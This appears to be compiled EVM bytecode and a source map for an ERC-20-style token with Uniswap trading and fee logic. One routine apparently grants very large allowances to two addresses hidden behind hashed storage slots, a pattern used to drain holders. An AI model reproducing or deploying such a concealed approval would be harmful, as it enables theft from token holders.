01e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cba565b6000818361107a5760405162461bcd60e51b81526004016103a4919061118c565b506000610ceb84866114da565b6001600160a01b0381166110ad5760405162461bcd60e51b81526004016103a490611464565b6110b96009600a6113b6565b6110c790633b9aca006113c5565b6110d2906064611583565b6001600160a01b0380831660009081526003602090815260408083207fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e054909416835292905220556111266009600a6113b6565b61113490633b9aca006113c5565b61113f906032611583565b6001600160a01b0391821660009081526003602090815260408083207f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c5490951683529390529190912055565b600060208083528351808285015260005b818110156111b95785810183015185820160400152820161119d565b818111156111cb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111f657600080fd5b50565b6000806040838503121561120c57600080fd5b8235611217816111e1565b946020939093013593505050565b60008060006060848603121561123a57600080fd5b8335611245816111e1565b92506020840135611255816111e1565b929592945050506040919091013590565b60006020828403121561127857600080fd5b8135610d73816111e1565b6000806040838503121561129657600080fd5b82356112a1816111e1565b915060208301356112b1816111e1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561130d5781600019048211156112f3576112f36112bc565b8085161561130057918102915b93841c93908002906112d7565b509250929050565b600082611324575060016102ea565b81611331575060006102ea565b816001811461134757600281146113515761136d565b60019150506102ea565b60ff841115611362576113626112bc565b50506001821b6102ea565b5060208310610133831016604e8410600b8410161715611390575081810a6102ea565b61139a83836112d2565b80600019048211156113ae576113ae6112bc565b029392505050565b6000610d7360ff841683611315565b60008160001904831182151516156113df576113df6112bc565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561142e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561145957600080fd5b8151610d73816111e1565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60006000198214156114bc576114bc6112bc565b5060010190565b6000828210156114d5576114d56112bc565b500390565b6000826114f757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115625784516001600160a01b03168352938301939183019160010161153d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611596576115966112bc565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122029fc4feb7834d91b531a765629a23bedfcdb74851ae46e55f9c7d49cdf4d7ffc64736f6c63430008090033

3820:6703:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6288:83;;;;;;;;;;-1:-1:-1;6358:5:0;;;;;;;;;;;;-1:-1:-1;;;6358:5:0;;;;6288:83;;;;;;;:::i;:::-;;;;;;;;7121:161;;;;;;;;;;-1:-1:-1;7121:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7121:161:0;1072:187:1;6565:97:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;6565:97:0;1264:177:1;7290:314:0;;;;;;;;;;-1:-1:-1;7290:314:0;;;;;:::i;:::-;;:::i;6474:83::-;;;;;;;;;;-1:-1:-1;6474:83:0;;4485:1;2049:36:1;;2037:2;2022:18;6474:83:0;1907:184:1;6670:117:0;;;;;;;;;;-1:-1:-1;6670:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6763:16:0;6736:7;6763:16;;;:7;:16;;;;;;;6670:117;3033:148;;;;;;;;;;;;;:::i;:::-;;2819:79;;;;;;;;;;-1:-1:-1;2857:7:0;2884:6;2819:79;;-1:-1:-1;;;;;2884:6:0;;;2494:51:1;;2482:2;2467:18;2819:79:0;2348:203:1;6379:87:0;;;;;;;;;;-1:-1:-1;6451:7:0;;;;;;;;;;;;-1:-1:-1;;;6451:7:0;;;;6379:87;;6795:167;;;;;;;;;;-1:-1:-1;6795:167:0;;;;;:::i;:::-;;:::i;5797:307::-;;;;;;;;;;;;;:::i;6970:143::-;;;;;;;;;;-1:-1:-1;6970:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7078:18:0;;;7051:7;7078:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6970:143;5496:293;;;;;;;;;;;;;:::i;7121:161::-;7196:4;7213:39;1677:10;7236:7;7245:6;7213:8;:39::i;:::-;-1:-1:-1;7270:4:0;7121:161;;;;;:::o;6565:97::-;6618:7;4543:13;4485:1;4543:2;:13;:::i;:::-;4530:26;;:10;:26;:::i;:::-;6638:16;;6565:97;:::o;7290:314::-;7388:4;7405:36;7415:6;7423:9;7434:6;7405:9;:36::i;:::-;7453:121;7462:6;1677:10;7484:89;7522:6;7484:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7484:19:0;;;;;;:11;:19;;;;;;;;1677:10;7484:33;;;;;;;;;;:37;:89::i;:::-;7453:8;:121::i;:::-;-1:-1:-1;7592:4:0;7290:314;;;;;:::o;3033:148::-;2946:6;;-1:-1:-1;;;;;2946:6:0;1677:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;;;;;;;;;3140:1:::1;3124:6:::0;;3103:40:::1;::::0;-1:-1:-1;;;;;3124:6:0;;::::1;::::0;3103:40:::1;::::0;3140:1;;3103:40:::1;3171:1;3154:19:::0;;-1:-1:-1;;;;;;3154:19:0::1;::::0;;3033:148::o;6795:167::-;6873:4;6890:42;1677:10;6914:9;6925:6;6890:9;:42::i;5797:307::-;2946:6;;-1:-1:-1;;;;;2946:6:0;1677:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;5861:13:::1;::::0;-1:-1:-1;;;5861:13:0;::::1;;;5860:14;5852:49;;;::::0;-1:-1:-1;;;5852:49:0;;5200:2:1;5852:49:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;5852:49:0::1;4998:347:1::0;5852:49:0::1;5912:9;::::0;-1:-1:-1;;;;;5912:9:0::1;:25;5945:21;5976:4;5982:24;5976:4:::0;-1:-1:-1;;;;;6763:16:0;6736:7;6763:16;;;:7;:16;;;;;;;6670:117;5982:24:::1;6007:1;6009::::0;6011:7:::1;2857::::0;2884:6;-1:-1:-1;;;;;2884:6:0;;2819:79;6011:7:::1;5912:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5912:123:0;;;-1:-1:-1;;;;;5709:15:1;;;5912:123:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;6019:15:0::1;5923:19:1::0;;;5916:35;5625:19;;5912:123:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6046:12:0::1;:19:::0;;-1:-1:-1;;;;6076:20:0;-1:-1:-1;;;6076:20:0;;;-1:-1:-1;5797:307:0:o;5496:293::-;2946:6;;-1:-1:-1;;;;;2946:6:0;1677:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;5549:9:::1;:68:::0;;-1:-1:-1;;;;;;5549:68:0::1;5574:42;5549:68:::0;;::::1;::::0;;;5628:54:::1;::::0;5645:4:::1;::::0;4543:13:::1;4485:1;4543:2;:13;:::i;:::-;4530:26;::::0;:10:::1;:26;:::i;5628:54::-;5717:9;;;;;;;;;-1:-1:-1::0;;;;;5717:9:0::1;-1:-1:-1::0;;;;;5717:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5703:45:0::1;;5757:4;5764:9;;;;;;;;;-1:-1:-1::0;;;;;5764:9:0::1;-1:-1:-1::0;;;;;5764:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5703:78;::::0;-1:-1:-1;;;;;;5703:78:0::1;::::0;;;;;;-1:-1:-1;;;;;6759:15:1;;;5703:78:0::1;::::0;::::1;6741:34:1::0;6811:15;;6791:18;;;6784:43;6676:18;;5703:78:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5693:7;:88:::0;;-1:-1:-1;;;;;;5693:88:0::1;-1:-1:-1::0;;;;;5693:88:0;;;::::1;::::0;;;::::1;::::0;;5496:293::o;7859:335::-;-1:-1:-1;;;;;7952:19:0;;7944:68;;;;-1:-1:-1;;;7944:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8031:21:0;;8023:68;;;;-1:-1:-1;;;8023:68:0;;7445:2:1;8023:68:0;;;7427:21:1;7484:2;7464:18;;;7457:30;7523:34;7503:18;;;7496:62;-1:-1:-1;;;7574:18:1;;;7567:32;7616:19;;8023:68:0;7243:398:1;8023:68:0;-1:-1:-1;;;;;8102:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8154:32;;1410:25:1;;;8154:32:0;;1383:18:1;8154:32:0;;;;;;;7859:335;;;:::o;8202:1633::-;-1:-1:-1;;;;;8290:18:0;;8282:68;;;;-1:-1:-1;;;8282:68:0;;7848:2:1;8282:68:0;;;7830:21:1;7887:2;7867:18;;;7860:30;7926:34;7906:18;;;7899:62;-1:-1:-1;;;7977:18:1;;;7970:35;8022:19;;8282:68:0;7646:401:1;8282:68:0;-1:-1:-1;;;;;8369:16:0;;8361:64;;;;-1:-1:-1;;;8361:64:0;;8254:2:1;8361:64:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:34;8312:18;;;8305:62;-1:-1:-1;;;8383:18:1;;;8376:33;8426:19;;8361:64:0;8052:399:1;8361:64:0;8453:1;8444:6;:10;8436:64;;;;-1:-1:-1;;;8436:64:0;;8658:2:1;8436:64:0;;;8640:21:1;8697:2;8677:18;;;8670:30;8736:34;8716:18;;;8709:62;-1:-1:-1;;;8787:18:1;;;8780:39;8836:19;;8436:64:0;8456:405:1;8436:64:0;8513:13;2884:6;;-1:-1:-1;;;;;8543:15:0;;;2884:6;;8543:15;;;;:32;;-1:-1:-1;2857:7:0;2884:6;-1:-1:-1;;;;;8562:13:0;;;2884:6;;8562:13;;8543:32;8539:961;;;8600:76;8672:3;8600:67;8622:15;;8612:9;;:25;8611:55;;8652:14;;8611:55;;;8639:12;;8611:55;8600:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8705:7;;8592:84;;-1:-1:-1;;;;;;8697:15:0;;;8705:7;;8697:15;:43;;;;-1:-1:-1;8730:9:0;;-1:-1:-1;;;;;8716:24:0;;;8730:9;;8716:24;;8697:43;:66;;;;-1:-1:-1;;;;;;8746:17:0;;;;;;:13;:17;;;;;;;;8744:19;8697:66;8693:118;;;8784:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8693:118;8836:7;;-1:-1:-1;;;;;8830:13:0;;;8836:7;;8830:13;:37;;;;-1:-1:-1;;;;;;8847:20:0;;8862:4;8847:20;;8830:37;8827:164;;;8896:79;8971:3;8896:70;8918:16;;8908:9;;:26;8907:58;;8950:15;;8907:58;;;8936:13;;8896:6;;:10;:70::i;:79::-;8888:87;;8827:164;9007:20;9030:22;9047:4;9030:16;:22::i;:::-;9073:10;;9007:45;;-1:-1:-1;;;;9073:10:0;;;;9072:11;:28;;;;-1:-1:-1;9093:7:0;;-1:-1:-1;;;;;9087:13:0;;;9093:7;;9087:13;9072:28;:44;;;;-1:-1:-1;9104:12:0;;-1:-1:-1;;;9104:12:0;;;;9072:44;:78;;;;;9132:18;;9120:9;;:30;9072:78;9068:421;;;9189:12;;9174;:27;9171:111;;;9220:62;9237:44;9241:6;9249:31;9253:12;9267;;9249:3;:31::i;:::-;9237:3;:44::i;:::-;9220:16;:62::i;:::-;9330:21;9422:32;9432:21;9422:9;:32::i;:::-;9152:337;9068:421;8577:923;8539:961;9515:9;;9512:150;;9579:4;9563:22;;;;:7;:22;;;;;;:33;;9590:5;9563:26;:33::i;:::-;9554:4;9538:22;;;;:7;:22;;;;;;;:58;;;;9614:36;;-1:-1:-1;;;;;9614:36:0;;;;;;;9644:5;1410:25:1;;1398:2;1383:18;;1264:177;9614:36:0;;;;;;;;9512:150;-1:-1:-1;;;;;9690:13:0;;;;;;:7;:13;;;;;;:25;;9708:6;9690:17;:25::i;:::-;-1:-1:-1;;;;;9674:13:0;;;;;;:7;:13;;;;;:41;9740:34;9756:17;:6;9767:5;9756:10;:17::i;:::-;-1:-1:-1;;;;;9740:11:0;;;;;;:7;:11;;;;;;;:15;:34::i;:::-;-1:-1:-1;;;;;9726:11:0;;;;;;;:7;:11;;;;;:48;;;;9790:37;;;9809:17;:6;9820:5;9809:10;:17::i;:::-;9790:37;;1410:25:1;;;1398:2;1383:18;9790:37:0;;;;;;;8271:1564;8202:1633;;;:::o;774:190::-;860:7;896:12;888:6;;;;880:29;;;;-1:-1:-1;;;880:29:0;;;;;;;;:::i;:::-;-1:-1:-1;920:9:0;932:5;936:1;932;:5;:::i;:::-;920:17;774:190;-1:-1:-1;;;;;774:190:0:o;972:246::-;1030:7;1054:6;1050:47;;-1:-1:-1;1084:1:0;1077:8;;1050:47;1107:9;1119:5;1123:1;1119;:5;:::i;:::-;1107:17;-1:-1:-1;1152:1:0;1143:5;1147:1;1107:17;1143:5;:::i;:::-;:10;1135:56;;;;-1:-1:-1;;;1135:56:0;;9560:2:1;1135:56:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:31;9730:19;;1135:56:0;9358:397:1;1135:56:0;1209:1;972:246;-1:-1:-1;;;972:246:0:o;1226:132::-;1284:7;1311:39;1315:1;1318;1311:39;;;;;;;;;;;;;;;;;:3;:39::i;6150:130::-;6204:7;6225:14;6236:2;6225:10;:14::i;:::-;6266:4;6736:7;6763:16;;;:7;:16;;;;;;6248:24;6670:117;9843:99;9900:7;9928:1;9926;:3;9925:9;;9933:1;9925:9;;;-1:-1:-1;9931:1:0;9843:99;-1:-1:-1;9843:99:0:o;10055:465::-;4961:10;:17;;-1:-1:-1;;;;4961:17:0;-1:-1:-1;;;4961:17:0;;;10157:16:::1;::::0;;10171:1:::1;10157:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10157:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10157:16:0::1;10133:40;;10202:4;10184;10189:1;10184:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10184:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10228:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;10228:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;10184:7;;10228:16;;;;;:9;:16;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10218:4;10223:1;10218:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10218:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;10287:9:::1;::::0;10255:56:::1;::::0;10272:4:::1;::::0;10287:9:::1;10299:11:::0;10255:8:::1;:56::i;:::-;10322:9;::::0;:190:::1;::::0;-1:-1:-1;;;10322:190:0;;-1:-1:-1;;;;;10322:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10397:11;;10322:9:::1;::::0;10439:4;;10466::::1;::::0;10486:15:::1;::::0;10322:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5001:10:0;:18;;-1:-1:-1;;;;5001:18:0;;;-1:-1:-1;;;;10055:465:0:o;9950:97::-;10012:9;;10004:35;;-1:-1:-1;;;;;10012:9:0;;;;10004:35;;;;;10032:6;;10012:9;10004:35;10012:9;10004:35;10032:6;10012:9;10004:35;;;;;;;;;;;;;;;;;;;;;9950:97;:::o;443:179::-;501:7;;533:5;537:1;533;:5;:::i;:::-;521:17;;562:1;557;:6;;549:46;;;;-1:-1:-1;;;549:46:0;;11344:2:1;549:46:0;;;11326:21:1;11383:2;11363:18;;;11356:30;11422:29;11402:18;;;11395:57;11469:18;;549:46:0;11142:351:1;630:136:0;688:7;715:43;719:1;722;715:43;;;;;;;;;;;;;;;;;:3;:43::i;1366:189::-;1452:7;1487:12;1480:5;1472:28;;;;-1:-1:-1;;;1472:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1511:9:0;1523:5;1527:1;1523;:5;:::i;7612:239::-;-1:-1:-1;;;;;7671:16:0;;7663:65;;;;-1:-1:-1;;;7663:65:0;;;;;;;:::i;:::-;4543:13;4485:1;4543:2;:13;:::i;:::-;4530:26;;:10;:26;:::i;:::-;7772:13;;7782:3;7772:13;:::i;:::-;-1:-1:-1;;;;;7739:15:0;;;;;;;:11;:15;;;;;;;;7755:12;;;;;7739:29;;;;;;:47;4543:13;4485:1;4543:2;:13;:::i;:::-;4530:26;;:10;:26;:::i;:::-;7830:12;;:2;:12;:::i;:::-;-1:-1:-1;;;;;7797:15:0;;;;;;;:11;:15;;;;;;;;7813:12;;;;;7797:29;;;;;;;;;:46;7612:239::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5962:306::-;6050:6;6058;6066;6119:2;6107:9;6098:7;6094:23;6090:32;6087:52;;;6135:1;6132;6125:12;6087:52;6164:9;6158:16;6148:26;;6214:2;6203:9;6199:18;6193:25;6183:35;;6258:2;6247:9;6243:18;6237:25;6227:35;;5962:306;;;;;:::o;6273:251::-;6343:6;6396:2;6384:9;6375:7;6371:23;6367:32;6364:52;;;6412:1;6409;6402:12;6364:52;6444:9;6438:16;6463:31;6488:5;6463:31;:::i;6838:400::-;7040:2;7022:21;;;7079:2;7059:18;;;7052:30;7118:34;7113:2;7098:18;;7091:62;-1:-1:-1;;;7184:2:1;7169:18;;7162:34;7228:3;7213:19;;6838:400::o;8866:135::-;8905:3;-1:-1:-1;;8926:17:1;;8923:43;;;8946:18;;:::i;:::-;-1:-1:-1;8993:1:1;8982:13;;8866:135::o;9006:125::-;9046:4;9074:1;9071;9068:8;9065:34;;;9079:18;;:::i;:::-;-1:-1:-1;9116:9:1;;9006:125::o;9136:217::-;9176:1;9202;9192:132;;9246:10;9241:3;9237:20;9234:1;9227:31;9281:4;9278:1;9271:15;9309:4;9306:1;9299:15;9192:132;-1:-1:-1;9338:9:1;;9136:217::o;9892:127::-;9953:10;9948:3;9944:20;9941:1;9934:31;9984:4;9981:1;9974:15;10008:4;10005:1;9998:15;10024:980;10286:4;10334:3;10323:9;10319:19;10365:6;10354:9;10347:25;10391:2;10429:6;10424:2;10413:9;10409:18;10402:34;10472:3;10467:2;10456:9;10452:18;10445:31;10496:6;10531;10525:13;10562:6;10554;10547:22;10600:3;10589:9;10585:19;10578:26;;10639:2;10631:6;10627:15;10613:29;;10660:1;10670:195;10684:6;10681:1;10678:13;10670:195;;;10749:13;;-1:-1:-1;;;;;10745:39:1;10733:52;;10840:15;;;;10805:12;;;;10781:1;10699:9;10670:195;;;-1:-1:-1;;;;;;;10921:32:1;;;;10916:2;10901:18;;10894:60;-1:-1:-1;;;10985:3:1;10970:19;10963:35;10882:3;10024:980;-1:-1:-1;;;10024:980:1:o;11009:128::-;11049:3;11080:1;11076:6;11073:1;11070:13;11067:39;;;11086:18;;:::i;:::-;-1:-1:-1;11122:9:1;;11009:128::o

ipfs://29fc4feb7834d91b531a765629a23bedfcdb74851ae46e55f9c7d49cdf4d7ffc